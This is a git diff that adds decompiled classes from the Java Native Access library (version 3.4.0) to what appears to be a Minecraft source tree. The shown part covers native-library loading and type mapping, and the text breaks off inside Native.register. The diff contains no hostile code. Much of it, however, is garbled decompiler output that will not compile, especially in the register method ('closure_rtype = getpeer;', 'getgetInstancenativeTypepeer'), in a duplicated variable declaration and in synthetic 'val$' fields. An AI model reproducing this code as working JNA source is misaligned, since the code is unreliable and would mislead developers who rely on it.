diff --git a/src/minecraft/com/sun/jna/MethodParameterContext.java b/src/minecraft/com/sun/jna/MethodParameterContext.java
new file mode 100644
index 0000000..8d8d929
--- /dev/null
+++ b/src/minecraft/com/sun/jna/MethodParameterContext.java
@@ -0,0 +1,27 @@
+package com.sun.jna;
+
+import java.lang.reflect.Method;
+
+
+
+
+
+
+
+
+
+
+
+public class MethodParameterContext
+  extends FunctionParameterContext
+{
+  private Method method;
+  
+  MethodParameterContext(Function f, Object[] args, int index, Method m)
+  {
+    super(f, args, index);
+    method = m;
+  }
+  
+  public Method getMethod() { return method; }
+}
diff --git a/src/minecraft/com/sun/jna/MethodResultContext.java b/src/minecraft/com/sun/jna/MethodResultContext.java
new file mode 100644
index 0000000..3451efa
--- /dev/null
+++ b/src/minecraft/com/sun/jna/MethodResultContext.java
@@ -0,0 +1,30 @@
+package com.sun.jna;
+
+import java.lang.reflect.Method;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class MethodResultContext
+  extends FunctionResultContext
+{
+  private final Method method;
+  
+  MethodResultContext(Class resultClass, Function function, Object[] args, Method method)
+  {
+    super(resultClass, function, args);
+    this.method = method;
+  }
+  
+  public Method getMethod() { return method; }
+}
diff --git a/src/minecraft/com/sun/jna/Native.java b/src/minecraft/com/sun/jna/Native.java
new file mode 100644
index 0000000..1141a69
--- /dev/null
+++ b/src/minecraft/com/sun/jna/Native.java
@@ -0,0 +1,1922 @@
+package com.sun.jna;
+
+import java.awt.Component;
+import java.awt.GraphicsEnvironment;
+import java.awt.HeadlessException;
+import java.awt.Window;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.FilenameFilter;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.PrintStream;
+import java.io.UnsupportedEncodingException;
+import java.lang.ref.WeakReference;
+import java.lang.reflect.Array;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationHandler;
+import java.lang.reflect.Method;
+import java.lang.reflect.Modifier;
+import java.lang.reflect.Proxy;
+import java.net.URI;
+import java.net.URISyntaxException;
+import java.net.URL;
+import java.nio.Buffer;
+import java.nio.ByteBuffer;
+import java.security.AccessController;
+import java.security.PrivilegedAction;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import java.util.StringTokenizer;
+import java.util.WeakHashMap;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class Native
+{
+  private static final String VERSION = "3.4.0";
+  private static final String VERSION_NATIVE = "3.4.0";
+  private static String nativeLibraryPath = null;
+  private static Map typeMappers = new WeakHashMap();
+  private static Map alignments = new WeakHashMap();
+  private static Map options = new WeakHashMap();
+  private static Map libraries = new WeakHashMap();
+  private static final Callback.UncaughtExceptionHandler DEFAULT_HANDLER = new Callback.UncaughtExceptionHandler()
+  {
+    public void uncaughtException(Callback c, Throwable e) {
+      System.err.println("JNA: Callback " + c + " threw the following exception:");
+      e.printStackTrace();
+    }
+  };
+  private static Callback.UncaughtExceptionHandler callbackExceptionHandler = DEFAULT_HANDLER;
+  
+  public static final int POINTER_SIZE;
+  
+  public static final int LONG_SIZE;
+  
+  public static final int WCHAR_SIZE;
+  
+  public static final int SIZE_T_SIZE;
+  
+  private static final int TYPE_VOIDP = 0;
+  
+  private static final int TYPE_LONG = 1;
+  
+  private static final int TYPE_WCHAR_T = 2;
+  
+  private static final int TYPE_SIZE_T = 3;
+  private static final int THREAD_NOCHANGE = 0;
+  private static final int THREAD_DETACH = -1;
+  private static final int THREAD_LEAVE_ATTACHED = -2;
+  
+  static
+  {
+    loadNativeLibrary();
+    POINTER_SIZE = sizeof(0);
+    LONG_SIZE = sizeof(1);
+    WCHAR_SIZE = sizeof(2);
+    SIZE_T_SIZE = sizeof(3);
+    
+
+
+    initIDs();
+    if (Boolean.getBoolean("jna.protected")) {
+      setProtected(true);
+    }
+    String version = getNativeVersion();
+    if (!"3.4.0".equals(version)) {
+      String LS = System.getProperty("line.separator");
+      throw new Error(LS + LS + "There is an incompatible JNA native library installed on this system." + LS + "To resolve this issue you may do one of the following:" + LS + " - remove or uninstall the offending library" + LS + " - set the system property jna.nosys=true" + LS + " - set jna.boot.library.path to include the path to the version of the " + LS + "   jnidispatch library included with the JNA jar file you are using" + LS);
+    }
+    
+
+
+
+
+    setPreserveLastError("true".equalsIgnoreCase(System.getProperty("jna.preserve_last_error", "true")));
+  }
+  
+
+  private static final Object finalizer = new Object()
+  {
+    protected void finalize() {}
+  };
+  
+
+  private static void dispose()
+  {
+    NativeLibrary.disposeAll();
+    nativeLibraryPath = null;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  private static boolean deleteNativeLibrary(String path)
+  {
+    File flib = new File(path);
+    if (flib.delete()) {
+      return true;
+    }
+    
+
+    markTemporaryFile(flib);
+    
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static long getWindowID(Window w)
+    throws HeadlessException
+  {
+    return AWT.getWindowID(w);
+  }
+  
+
+
+
+
+  public static long getComponentID(Component c)
+    throws HeadlessException
+  {
+    return AWT.getComponentID(c);
+  }
+  
+
+
+
+
+  public static Pointer getWindowPointer(Window w)
+    throws HeadlessException
+  {
+    return new Pointer(AWT.getWindowID(w));
+  }
+  
+
+
+
+
+  public static Pointer getComponentPointer(Component c)
+    throws HeadlessException
+  {
+    return new Pointer(AWT.getComponentID(c));
+  }
+  
+
+
+
+
+  public static Pointer getDirectBufferPointer(Buffer b)
+  {
+    long peer = _getDirectBufferPointer(b);
+    return peer == 0L ? null : new Pointer(peer);
+  }
+  
+
+
+
+
+
+
+  public static String toString(byte[] buf)
+  {
+    return toString(buf, System.getProperty("jna.encoding"));
+  }
+  
+
+
+
+
+  public static String toString(byte[] buf, String encoding)
+  {
+    String s = null;
+    if (encoding != null) {
+      try {
+        s = new String(buf, encoding);
+      }
+      catch (UnsupportedEncodingException e) {}
+    }
+    if (s == null) {
+      s = new String(buf);
+    }
+    int term = s.indexOf(0);
+    if (term != -1)
+      s = s.substring(0, term);
+    return s;
+  }
+  
+
+
+  public static String toString(char[] buf)
+  {
+    String s = new String(buf);
+    int term = s.indexOf(0);
+    if (term != -1)
+      s = s.substring(0, term);
+    return s;
+  }
+  
+
+
+
+  public static Object loadLibrary(Class interfaceClass)
+  {
+    return loadLibrary(null, interfaceClass);
+  }
+  
+
+
+
+
+  public static Object loadLibrary(Class interfaceClass, Map options)
+  {
+    return loadLibrary(null, interfaceClass, options);
+  }
+  
+
+
+
+
+
+  public static Object loadLibrary(String name, Class interfaceClass)
+  {
+    return loadLibrary(name, interfaceClass, Collections.EMPTY_MAP);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static Object loadLibrary(String name, Class interfaceClass, Map options)
+  {
+    Library.Handler handler = new Library.Handler(name, interfaceClass, options);
+    
+    ClassLoader loader = interfaceClass.getClassLoader();
+    Library proxy = (Library)Proxy.newProxyInstance(loader, new Class[] { interfaceClass }, handler);
+    
+
+    cacheOptions(interfaceClass, options, proxy);
+    return proxy;
+  }
+  
+
+
+
+
+  private static void loadLibraryInstance(Class cls)
+  {
+    if ((cls != null) && (!libraries.containsKey(cls))) {
+      try {
+        Field[] fields = cls.getFields();
+        for (int i = 0; i < fields.length; i++) {
+          Field field = fields[i];
+          if ((field.getType() == cls) && (Modifier.isStatic(field.getModifiers())))
+          {
+
+            libraries.put(cls, new WeakReference(field.get(null)));
+            break;
+          }
+        }
+      }
+      catch (Exception e) {
+        throw new IllegalArgumentException("Could not access instance of " + cls + " (" + e + ")");
+      }
+    }
+  }
+  
+
+
+
+
+  static Class findEnclosingLibraryClass(Class cls)
+  {
+    if (cls == null) {
+      return null;
+    }
+    synchronized (libraries) {
+      if (options.containsKey(cls)) {
+        return cls;
+      }
+    }
+    if (Library.class.isAssignableFrom(cls)) {
+      return cls;
+    }
+    if (Callback.class.isAssignableFrom(cls)) {
+      cls = CallbackReference.findCallbackClass(cls);
+    }
+    Class declaring = cls.getDeclaringClass();
+    Class fromDeclaring = findEnclosingLibraryClass(declaring);
+    if (fromDeclaring != null) {
+      return fromDeclaring;
+    }
+    return findEnclosingLibraryClass(cls.getSuperclass());
+  }
+  
+
+
+
+
+  public static Map getLibraryOptions(Class type)
+  {
+    synchronized (libraries) {
+      Class interfaceClass = findEnclosingLibraryClass(type);
+      if (interfaceClass != null) {
+        loadLibraryInstance(interfaceClass);
+      } else
+        interfaceClass = type;
+      if (!options.containsKey(interfaceClass)) {
+        try {
+          Field field = interfaceClass.getField("OPTIONS");
+          field.setAccessible(true);
+          options.put(interfaceClass, field.get(null));
+
+        }
+        catch (NoSuchFieldException e) {}catch (Exception e)
+        {
+          throw new IllegalArgumentException("OPTIONS must be a public field of type java.util.Map (" + e + "): " + interfaceClass);
+        }
+      }
+      
+      return (Map)options.get(interfaceClass);
+    }
+  }
+  
+
+
+  public static TypeMapper getTypeMapper(Class cls)
+  {
+    synchronized (libraries) {
+      Class interfaceClass = findEnclosingLibraryClass(cls);
+      if (interfaceClass != null) {
+        loadLibraryInstance(interfaceClass);
+      } else {
+        interfaceClass = cls;
+      }
+      if (!typeMappers.containsKey(interfaceClass)) {
+        try {
+          Field field = interfaceClass.getField("TYPE_MAPPER");
+          field.setAccessible(true);
+          typeMappers.put(interfaceClass, field.get(null));
+        }
+        catch (NoSuchFieldException e) {
+          Map options = getLibraryOptions(cls);
+          if ((options != null) && (options.containsKey("type-mapper")))
+          {
+            typeMappers.put(interfaceClass, options.get("type-mapper"));
+          }
+        }
+        catch (Exception e) {
+          throw new IllegalArgumentException("TYPE_MAPPER must be a public field of type " + TypeMapper.class.getName() + " (" + e + "): " + interfaceClass);
+        }
+      }
+      
+
+      return (TypeMapper)typeMappers.get(interfaceClass);
+    }
+  }
+  
+
+
+  public static int getStructureAlignment(Class cls)
+  {
+    synchronized (libraries) {
+      Class interfaceClass = findEnclosingLibraryClass(cls);
+      if (interfaceClass != null) {
+        loadLibraryInstance(interfaceClass);
+      } else
+        interfaceClass = cls;
+      if (!alignments.containsKey(interfaceClass)) {
+        try {
+          Field field = interfaceClass.getField("STRUCTURE_ALIGNMENT");
+          field.setAccessible(true);
+          alignments.put(interfaceClass, field.get(null));
+        }
+        catch (NoSuchFieldException e) {
+          Map options = getLibraryOptions(interfaceClass);
+          if ((options != null) && (options.containsKey("structure-alignment")))
+          {
+            alignments.put(interfaceClass, options.get("structure-alignment"));
+          }
+        }
+        catch (Exception e) {
+          throw new IllegalArgumentException("STRUCTURE_ALIGNMENT must be a public field of type int (" + e + "): " + interfaceClass);
+        }
+      }
+      
+      Integer value = (Integer)alignments.get(interfaceClass);
+      return value != null ? value.intValue() : 0;
+    }
+  }
+  
+
+
+  static byte[] getBytes(String s)
+  {
+    try
+    {
+      return getBytes(s, System.getProperty("jna.encoding"));
+    }
+    catch (UnsupportedEncodingException e) {}
+    return s.getBytes();
+  }
+  
+
+
+  static byte[] getBytes(String s, String encoding)
+    throws UnsupportedEncodingException
+  {
+    if (encoding != null) {
+      return s.getBytes(encoding);
+    }
+    return s.getBytes();
+  }
+  
+
+
+
+  public static byte[] toByteArray(String s)
+  {
+    byte[] bytes = getBytes(s);
+    byte[] buf = new byte[bytes.length + 1];
+    System.arraycopy(bytes, 0, buf, 0, bytes.length);
+    return buf;
+  }
+  
+
+  public static byte[] toByteArray(String s, String encoding)
+    throws UnsupportedEncodingException
+  {
+    byte[] bytes = getBytes(s, encoding);
+    byte[] buf = new byte[bytes.length + 1];
+    System.arraycopy(bytes, 0, buf, 0, bytes.length);
+    return buf;
+  }
+  
+
+
+  public static char[] toCharArray(String s)
+  {
+    char[] chars = s.toCharArray();
+    char[] buf = new char[chars.length + 1];
+    System.arraycopy(chars, 0, buf, 0, chars.length);
+    return buf;
+  }
+  
+
+
+
+  static String getNativeLibraryResourcePath(int osType, String arch, String name)
+  {
+    arch = arch.toLowerCase();
+    if ("powerpc".equals(arch)) {
+      arch = "ppc";
+    }
+    else if ("powerpc64".equals(arch))
+      arch = "ppc64";
+    String osPrefix;
+    switch (osType) {
+    case 2: 
+      if ("i386".equals(arch))
+        arch = "x86";
+      osPrefix = "win32-" + arch;
+      break;
+    case 6: 
+      osPrefix = "w32ce-" + arch;
+      break;
+    case 0: 
+      osPrefix = "darwin";
+      break;
+    case 1: 
+      if ("x86".equals(arch)) {
+        arch = "i386";
+      }
+      else if ("x86_64".equals(arch)) {
+        arch = "amd64";
+      }
+      osPrefix = "linux-" + arch;
+      break;
+    case 3: 
+      osPrefix = "sunos-" + arch;
+      break;
+    case 4: case 5: default: 
+      osPrefix = name.toLowerCase();
+      if ("x86".equals(arch)) {
+        arch = "i386";
+      }
+      if ("x86_64".equals(arch)) {
+        arch = "amd64";
+      }
+      int space = osPrefix.indexOf(" ");
+      if (space != -1) {
+        osPrefix = osPrefix.substring(0, space);
+      }
+      osPrefix = osPrefix + "-" + arch;
+    }
+    
+    return "/com/sun/jna/" + osPrefix;
+  }
+  
+
+
+
+
+  private static void loadNativeLibrary()
+  {
+    removeTemporaryFiles();
+    
+    String libName = System.getProperty("jna.boot.library.name", "jnidispatch");
+    String bootPath = System.getProperty("jna.boot.library.path");
+    if (bootPath != null)
+    {
+      StringTokenizer dirs = new StringTokenizer(bootPath, File.pathSeparator);
+      while (dirs.hasMoreTokens()) {
+        String dir = dirs.nextToken();
+        File file = new File(new File(dir), System.mapLibraryName(libName));
+        String path = file.getAbsolutePath();
+        if (file.exists()) {
+          try {
+            System.load(path);
+            nativeLibraryPath = path;
+            return;
+          }
+          catch (UnsatisfiedLinkError ex) {}
+        }
+        
+
+
+        if (Platform.isMac()) { String ext;
+          String orig;
+          String ext; if (path.endsWith("dylib")) {
+            String orig = "dylib";
+            ext = "jnilib";
+          } else {
+            orig = "jnilib";
+            ext = "dylib";
+          }
+          path = path.substring(0, path.lastIndexOf(orig)) + ext;
+          if (new File(path).exists()) {
+            try {
+              System.load(path);
+              nativeLibraryPath = path;
+              return;
+            } catch (UnsatisfiedLinkError ex) {
+              System.err.println("File found at " + path + " but not loadable: " + ex.getMessage());
+            }
+          }
+        }
+      }
+    }
+    try {
+      if (!Boolean.getBoolean("jna.nosys")) {
+        System.loadLibrary(libName);
+        return;
+      }
+    }
+    catch (UnsatisfiedLinkError e) {
+      if (Boolean.getBoolean("jna.nounpack")) {
+        throw e;
+      }
+    }
+    if (!Boolean.getBoolean("jna.nounpack")) {
+      loadNativeLibraryFromJar();
+      return;
+    }
+    throw new UnsatisfiedLinkError("Native jnidispatch library not found");
+  }
+  
+
+
+
+  private static void loadNativeLibraryFromJar()
+  {
+    String libname = System.mapLibraryName("jnidispatch");
+    String arch = System.getProperty("os.arch");
+    String name = System.getProperty("os.name");
+    String resourceName = getNativeLibraryResourcePath(Platform.getOSType(), arch, name) + "/" + libname;
+    URL url = Native.class.getResource(resourceName);
+    boolean unpacked = false;
+    
+
+
+    if ((url == null) && (Platform.isMac()) && (resourceName.endsWith(".dylib")))
+    {
+      resourceName = resourceName.substring(0, resourceName.lastIndexOf(".dylib")) + ".jnilib";
+      url = Native.class.getResource(resourceName);
+    }
+    if (url == null) {
+      throw new UnsatisfiedLinkError("jnidispatch (" + resourceName + ") not found in resource path");
+    }
+    
+
+    File lib = null;
+    if (url.getProtocol().toLowerCase().equals("file")) {
+      try {
+        lib = new File(new URI(url.toString()));
+      }
+      catch (URISyntaxException e) {
+        lib = new File(url.getPath());
+      }
+      if (!lib.exists()) {
+        throw new Error("File URL " + url + " could not be properly decoded");
+      }
+    }
+    else {
+      InputStream is = Native.class.getResourceAsStream(resourceName);
+      if (is == null) {
+        throw new Error("Can't obtain jnidispatch InputStream");
+      }
+      
+      FileOutputStream fos = null;
+      
+
+      try
+      {
+        File dir = getTempDir();
+        lib = File.createTempFile("jna", Platform.isWindows() ? ".dll" : null, dir);
+        lib.deleteOnExit();
+        fos = new FileOutputStream(lib);
+        
+        byte[] buf = new byte['Ѐ'];
+        int count; while ((count = is.read(buf, 0, buf.length)) > 0) {
+          fos.write(buf, 0, count);
+        }
+        unpacked = true;
+        
+
+
+        try
+        {
+          is.close(); } catch (IOException e) {}
+        if (fos != null) {
+          try { fos.close();
+          }
+          catch (IOException e) {}
+        }
+        System.load(lib.getAbsolutePath());
+      }
+      catch (IOException e)
+      {
+        throw new Error("Failed to create temporary file for jnidispatch library: " + e);
+      } finally {
+        try {
+          is.close(); } catch (IOException e) {}
+        if (fos != null) {
+          try { fos.close();
+          } catch (IOException e) {}
+        }
+      }
+    }
+    nativeLibraryPath = lib.getAbsolutePath();
+    
+
+
+
+    if (unpacked) {
+      deleteNativeLibrary(lib.getAbsolutePath());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  private static final ThreadLocal lastError = new ThreadLocal() {
+    protected synchronized Object initialValue() {
+      return new Integer(0);
+    }
+  };
+  
+
+
+
+
+
+
+
+
+
+  public static int getLastError()
+  {
+    return ((Integer)lastError.get()).intValue();
+  }
+  
+
+
+
+
+
+  static void updateLastError(int e)
+  {
+    lastError.set(new Integer(e));
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static Library synchronizedLibrary(final Library library)
+  {
+    Class cls = library.getClass();
+    if (!Proxy.isProxyClass(cls)) {
+      throw new IllegalArgumentException("Library must be a proxy class");
+    }
+    InvocationHandler ih = Proxy.getInvocationHandler(library);
+    if (!(ih instanceof Library.Handler)) {
+      throw new IllegalArgumentException("Unrecognized proxy handler: " + ih);
+    }
+    Library.Handler handler = (Library.Handler)ih;
+    InvocationHandler newHandler = new InvocationHandler() { private final Library.Handler val$handler;
+      
+      public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { synchronized (val$handler.getNativeLibrary()) {
+          return val$handler.invoke(library, method, args);
+        }
+      }
+    };
+    return (Library)Proxy.newProxyInstance(cls.getClassLoader(), cls.getInterfaces(), newHandler);
+  }
+  
+
+
+
+
+
+
+
+
+  private final Library val$library;
+  
+
+
+
+
+
+
+  public static String getWebStartLibraryPath(String libName)
+  {
+    if (System.getProperty("javawebstart.version") == null) {
+      return null;
+    }
+    try {
+      ClassLoader cl = Native.class.getClassLoader();
+      Method m = (Method)AccessController.doPrivileged(new PrivilegedAction() {
+        public Object run() {
+          try {
+            Method m = Native.class$java$lang$ClassLoader.getDeclaredMethod("findLibrary", new Class[] { String.class });
+            m.setAccessible(true);
+            return m;
+          }
+          catch (Exception e) {}
+          return null;
+        }
+        
+      });
+      String libpath = (String)m.invoke(cl, new Object[] { libName });
+      if (libpath != null) {
+        return new File(libpath).getParent();
+      }
+      return null;
+    }
+    catch (Exception e) {}
+    return null;
+  }
+  
+
+
+
+  static void markTemporaryFile(File file)
+  {
+    try
+    {
+      File marker = new File(file.getParentFile(), file.getName() + ".x");
+      marker.createNewFile();
+    } catch (IOException e) {
+      e.printStackTrace();
+    }
+  }
+  
+  static File getTempDir() { File tmp = new File(System.getProperty("java.io.tmpdir"));
+    File jnatmp = new File(tmp, "jna");
+    jnatmp.mkdirs();
+    return jnatmp.exists() ? jnatmp : tmp;
+  }
+  
+  static void removeTemporaryFiles()
+  {
+    File dir = getTempDir();
+    FilenameFilter filter = new FilenameFilter() {
+      public boolean accept(File dir, String name) {
+        return (name.endsWith(".x")) && (name.indexOf("jna") != -1);
+      }
+    };
+    File[] files = dir.listFiles(filter);
+    for (int i = 0; (files != null) && (i < files.length); i++) {
+      File marker = files[i];
+      String name = marker.getName();
+      name = name.substring(0, name.length() - 2);
+      File target = new File(marker.getParentFile(), name);
+      if ((!target.exists()) || (target.delete())) {
+        marker.delete();
+      }
+    }
+  }
+  
+
+
+  public static int getNativeSize(Class type, Object value)
+  {
+    if (type.isArray()) {
+      int len = Array.getLength(value);
+      if (len > 0) {
+        Object o = Array.get(value, 0);
+        return len * getNativeSize(type.getComponentType(), o);
+      }
+      
+      throw new IllegalArgumentException("Arrays of length zero not allowed: " + type);
+    }
+    if ((Structure.class.isAssignableFrom(type)) && (!Structure.ByReference.class.isAssignableFrom(type)))
+    {
+      if (value == null)
+        value = Structure.newInstance(type);
+      return ((Structure)value).size();
+    }
+    try {
+      return getNativeSize(type);
+    }
+    catch (IllegalArgumentException e) {
+      throw new IllegalArgumentException("The type \"" + type.getName() + "\" is not supported: " + e.getMessage());
+    }
+  }
+  
+
+
+
+
+
+  public static int getNativeSize(Class cls)
+  {
+    if (NativeMapped.class.isAssignableFrom(cls)) {
+      cls = NativeMappedConverter.getInstance(cls).nativeType();
+    }
+    
+    if ((cls == Boolean.TYPE) || (cls == Boolean.class)) return 4;
+    if ((cls == Byte.TYPE) || (cls == Byte.class)) return 1;
+    if ((cls == Short.TYPE) || (cls == Short.class)) return 2;
+    if ((cls == Character.TYPE) || (cls == Character.class)) return WCHAR_SIZE;
+    if ((cls == Integer.TYPE) || (cls == Integer.class)) return 4;
+    if ((cls == Long.TYPE) || (cls == Long.class)) return 8;
+    if ((cls == Float.TYPE) || (cls == Float.class)) return 4;
+    if ((cls == Double.TYPE) || (cls == Double.class)) return 8;
+    if (Structure.class.isAssignableFrom(cls)) {
+      if (Structure.ByValue.class.isAssignableFrom(cls)) {
+        return Structure.newInstance(cls).size();
+      }
+      return POINTER_SIZE;
+    }
+    if ((Pointer.class.isAssignableFrom(cls)) || ((Platform.HAS_BUFFERS) && (Buffers.isBuffer(cls))) || (Callback.class.isAssignableFrom(cls)) || (String.class == cls) || (WString.class == cls))
+    {
+
+
+
+      return POINTER_SIZE;
+    }
+    throw new IllegalArgumentException("Native size for type \"" + cls.getName() + "\" is unknown");
+  }
+  
+
+
+
+  public static boolean isSupportedNativeType(Class cls)
+  {
+    if (Structure.class.isAssignableFrom(cls)) {
+      return true;
+    }
+    try {
+      return getNativeSize(cls) != 0;
+    }
+    catch (IllegalArgumentException e) {}
+    return false;
+  }
+  
+
+
+
+
+  public static void setCallbackExceptionHandler(Callback.UncaughtExceptionHandler eh)
+  {
+    callbackExceptionHandler = eh == null ? DEFAULT_HANDLER : eh;
+  }
+  
+  public static Callback.UncaughtExceptionHandler getCallbackExceptionHandler()
+  {
+    return callbackExceptionHandler;
+  }
+  
+
+
+
+
+  public static void register(String libName)
+  {
+    register(getNativeClass(getCallingClass()), NativeLibrary.getInstance(libName));
+  }
+  
+
+
+
+
+
+  public static void register(NativeLibrary lib)
+  {
+    register(getNativeClass(getCallingClass()), lib);
+  }
+  
+  static Class getNativeClass(Class cls) {
+    Method[] methods = cls.getDeclaredMethods();
+    for (int i = 0; i < methods.length; i++) {
+      if ((methods[i].getModifiers() & 0x100) != 0) {
+        return cls;
+      }
+    }
+    int idx = cls.getName().lastIndexOf("$");
+    if (idx != -1) {
+      String name = cls.getName().substring(0, idx);
+      try {
+        return getNativeClass(Class.forName(name, true, cls.getClassLoader()));
+      }
+      catch (ClassNotFoundException e) {}
+    }
+    
+    throw new IllegalArgumentException("Can't determine class with native methods from the current context (" + cls + ")");
+  }
+  
+  static Class getCallingClass() {
+    Class[] context = new SecurityManager() {
+      public Class[] getClassContext() {
+        return super.getClassContext();
+      }
+    }.getClassContext();
+    if (context.length < 4) {
+      throw new IllegalStateException("This method must be called from the static initializer of a class");
+    }
+    return context[3];
+  }
+  
+
+
+
+
+  public static void setCallbackThreadInitializer(Callback cb, CallbackThreadInitializer initializer)
+  {
+    CallbackReference.setCallbackThreadInitializer(cb, initializer);
+  }
+  
+
+  private static Map registeredClasses = new HashMap();
+  private static Map registeredLibraries = new HashMap();
+  private static Object unloader = new Object() {
+    protected void finalize() { Iterator i;
+      synchronized (Native.registeredClasses) {
+        for (i = Native.registeredClasses.entrySet().iterator(); i.hasNext();) {
+          Map.Entry e = (Map.Entry)i.next();
+          Native.unregister((Class)e.getKey(), (long[])e.getValue());
+          i.remove();
+        }
+      }
+    } };
+  static final int CB_HAS_INITIALIZER = 1;
+  private static final int CVT_UNSUPPORTED = -1;
+  private static final int CVT_DEFAULT = 0;
+  private static final int CVT_POINTER = 1;
+  private static final int CVT_STRING = 2;
+  private static final int CVT_STRUCTURE = 3;
+  
+  public static void unregister() { unregister(getNativeClass(getCallingClass())); }
+  
+
+
+
+
+  public static void unregister(Class cls)
+  {
+    synchronized (registeredClasses) {
+      if (registeredClasses.containsKey(cls)) {
+        unregister(cls, (long[])registeredClasses.get(cls));
+        registeredClasses.remove(cls);
+        registeredLibraries.remove(cls);
+      }
+    }
+  }
+  
+
+
+  private static String getSignature(Class cls)
+  {
+    if (cls.isArray()) {
+      return "[" + getSignature(cls.getComponentType());
+    }
+    if (cls.isPrimitive()) {
+      if (cls == Void.TYPE) return "V";
+      if (cls == Boolean.TYPE) return "Z";
+      if (cls == Byte.TYPE) return "B";
+      if (cls == Short.TYPE) return "S";
+      if (cls == Character.TYPE) return "C";
+      if (cls == Integer.TYPE) return "I";
+      if (cls == Long.TYPE) return "J";
+      if (cls == Float.TYPE) return "F";
+      if (cls == Double.TYPE) return "D";
+    }
+    return "L" + replace(".", "/", cls.getName()) + ";";
+  }
+  
+  static String replace(String s1, String s2, String str)
+  {
+    StringBuffer buf = new StringBuffer();
+    for (;;) {
+      int idx = str.indexOf(s1);
+      if (idx == -1) {
+        buf.append(str);
+        break;
+      }
+      
+      buf.append(str.substring(0, idx));
+      buf.append(s2);
+      str = str.substring(idx + s1.length());
+    }
+    
+    return buf.toString();
+  }
+  
+
+
+
+  private static final int CVT_STRUCTURE_BYVAL = 4;
+  
+
+
+  private static final int CVT_BUFFER = 5;
+  
+
+
+  private static final int CVT_ARRAY_BYTE = 6;
+  
+
+
+  private static final int CVT_ARRAY_SHORT = 7;
+  
+
+
+  private static final int CVT_ARRAY_CHAR = 8;
+  
+
+
+  private static final int CVT_ARRAY_INT = 9;
+  
+
+  private static int getConversion(Class type, TypeMapper mapper)
+  {
+    if (type == Boolean.class) { type = Boolean.TYPE;
+    } else if (type == Byte.class) { type = Byte.TYPE;
+    } else if (type == Short.class) { type = Short.TYPE;
+    } else if (type == Character.class) { type = Character.TYPE;
+    } else if (type == Integer.class) { type = Integer.TYPE;
+    } else if (type == Long.class) { type = Long.TYPE;
+    } else if (type == Float.class) { type = Float.TYPE;
+    } else if (type == Double.class) { type = Double.TYPE;
+    } else if (type == Void.class) { type = Void.TYPE;
+    }
+    if ((mapper != null) && ((mapper.getFromNativeConverter(type) != null) || (mapper.getToNativeConverter(type) != null)))
+    {
+
+      return 21;
+    }
+    
+    if (Pointer.class.isAssignableFrom(type)) {
+      return 1;
+    }
+    if (String.class == type) {
+      return 2;
+    }
+    if (WString.class.isAssignableFrom(type)) {
+      return 18;
+    }
+    if ((Platform.HAS_BUFFERS) && (Buffers.isBuffer(type))) {
+      return 5;
+    }
+    if (Structure.class.isAssignableFrom(type)) {
+      if (Structure.ByValue.class.isAssignableFrom(type)) {
+        return 4;
+      }
+      return 3;
+    }
+    if (type.isArray()) {
+      switch (type.getName().charAt(1)) {
+      case 'Z':  return 13;
+      case 'B':  return 6;
+      case 'S':  return 7;
+      case 'C':  return 8;
+      case 'I':  return 9;
+      case 'J':  return 10;
+      case 'F':  return 11;
+      case 'D':  return 12;
+      }
+      
+    }
+    if (type.isPrimitive()) {
+      return type == Boolean.TYPE ? 14 : 0;
+    }
+    if (Callback.class.isAssignableFrom(type)) {
+      return 15;
+    }
+    if (IntegerType.class.isAssignableFrom(type)) {
+      return 19;
+    }
+    if (PointerType.class.isAssignableFrom(type)) {
+      return 20;
+    }
+    if (NativeMapped.class.isAssignableFrom(type)) {
+      return 17;
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+  public static void register(Class cls, NativeLibrary lib)
+  {
+    Method[] methods = cls.getDeclaredMethods();
+    List mlist = new ArrayList();
+    TypeMapper mapper = (TypeMapper)lib.getOptions().get("type-mapper");
+    
+
+    for (int i = 0; i < methods.length; i++) {
+      if ((methods[i].getModifiers() & 0x100) != 0) {
+        mlist.add(methods[i]);
+      }
+    }
+    long[] handles = new long[mlist.size()];
+    for (int i = 0; i < handles.length; i++) {
+      Method method = (Method)mlist.get(i);
+      String sig = "(";
+      Class rclass = method.getReturnType();
+      
+      Class[] ptypes = method.getParameterTypes();
+      long[] atypes = new long[ptypes.length];
+      long[] closure_atypes = new long[ptypes.length];
+      int[] cvt = new int[ptypes.length];
+      ToNativeConverter[] toNative = new ToNativeConverter[ptypes.length];
+      FromNativeConverter fromNative = null;
+      int rcvt = getConversion(rclass, mapper);
+      boolean throwLastError = false;
+      long closure_rtype; long rtype; switch (rcvt) {
+      case -1: 
+        throw new IllegalArgumentException(rclass + " is not a supported return type (in method " + method.getName() + " in " + cls + ")");
+      case 21: 
+        fromNative = mapper.getFromNativeConverter(rclass);
+        closure_rtype = getpeer;
+        rtype = getnativeTypepeer;
+        break;
+      case 17: 
+      case 19: 
+      case 20: 
+        closure_rtype = getpeer;
+        rtype = getgetInstancenativeTypepeer;
+        break;
+      case 3: 
+        closure_rtype = rtype = getpeer;
+        break;
+      case 4: 
+        closure_rtype = getpeer;
+        rtype = getpeer;
+        break;
+      case 0: case 1: case 2: case 5: case 6: case 7: case 8: case 9: case 10: case 11: case 12: case 13: case 14: case 15: case 16: case 18: default: 
+        closure_rtype = rtype = getpeer;
+      }
+      
+      for (int t = 0; t < ptypes.length; t++) {
+        Class type = ptypes[t];
+        sig = sig + getSignature(type);
+        cvt[t] = getConversion(type, mapper);
+        if (cvt[t] == -1) {
